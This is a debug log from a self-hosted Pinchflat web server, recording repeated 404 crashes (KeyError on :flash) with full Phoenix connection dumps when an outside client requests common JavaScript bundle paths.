db=0.0ms idle=473.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.273 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.273 [error] #PID<0.21367.0> running PinchflatWeb.Endpoint (connection #PID<0.21366.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21366.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51690}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21367.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfIO2cwIZPSQACL0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21366.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51690}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21366.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51690}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21367.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfIO2cwIZPSQACL0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: (truncated) 15:40:13.376 [info] GET /constants.js 15:40:13.377 [debug] QUERY OK source="settings" db=0.3ms idle=408.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.377 [debug] QUERY OK source="settings" db=0.1ms idle=408.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.377 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.377 [error] #PID<0.21369.0> running PinchflatWeb.Endpoint (connection #PID<0.21368.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /constants.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21368.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51696}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21369.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfInufVkna8sACL0h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21368.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51696}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21368.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51696}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21369.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfInufVkna8sACL0h"} ], scheme: :http, script_ (truncated) 15:40:13.481 [info] GET /bundle.js 15:40:13.481 [debug] QUERY OK source="settings" db=0.2ms idle=442.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.481 [debug] QUERY OK source="settings" db=0.1ms idle=208.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.481 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.482 [error] #PID<0.21371.0> running PinchflatWeb.Endpoint (connection #PID<0.21370.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21370.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21371.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfJAkwWdlezYACL1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21370.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21370.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21371.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfJAkwWdlezYACL1B"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:13.586 [info] GET /index.js 15:40:13.586 [debug] QUERY OK source="settings" db=0.1ms idle=313.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.586 [debug] QUERY OK source="settings" db=0.0ms idle=209.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.586 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:13.587 [error] #PID<0.21373.0> running PinchflatWeb.Endpoint (connection #PID<0.21372.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21372.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21373.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfJZqxU1b3GQACL1h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21372.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21372.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51724}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21373.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfJZqxU1b3GQACL1h"} ], scheme: :http, script_name: [], secret_key_base: :.. (truncated) 15:40:13.689 [info] GET /@vite/client 15:40:13.690 [debug] QUERY OK source="settings" db=0.3ms idle=312.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:13.690 [debug] QUERY OK source="settings" db=0.1ms idle=208.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 